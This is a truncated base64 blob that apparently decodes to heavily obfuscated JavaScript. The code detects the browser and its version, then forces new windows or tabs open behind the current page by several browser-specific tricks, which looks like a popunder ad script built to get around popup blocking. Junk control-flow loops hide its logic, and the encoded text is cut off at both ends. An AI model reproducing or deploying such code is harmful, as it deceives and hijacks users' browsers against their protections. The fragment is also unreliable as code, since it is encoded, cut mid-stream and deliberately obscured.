3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhL